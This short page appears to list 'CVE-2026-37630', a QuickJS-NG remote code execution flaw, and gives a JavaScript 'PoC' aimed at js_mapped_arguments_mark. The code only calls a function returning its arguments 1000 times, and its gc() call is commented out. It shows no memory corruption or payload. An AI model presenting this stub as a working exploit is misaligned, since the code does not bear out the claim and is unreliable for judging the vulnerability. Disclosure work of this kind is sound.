CVE-2026-37630 QuickJS-NG远程代码执行漏洞

/* * PoC for CVE-2026-37630 * Triggering the vulnerability in js_mapped_arguments_mark */ function trigger_vuln() { // Attempt to trigger the flaw in mapped arguments handling // The issue occurs when the GC marks arguments objects function vulnerable_func(a, b, c) { // Accessing arguments in a way that triggers the mapped mark logic var mapped_args = arguments; // Manipulate arguments to potentially corrupt memory during GC return mapped_args; } // Call the function repeatedly to induce GC or specific state for (let i = 0; i < 1000; i++) { let obj = vulnerable_func(i, i + 1, i + 2); // Force garbage collection if environment allows (e.g., --expose-gc in node) // if (typeof gc !== 'undefined') gc(); } } trigger_vuln();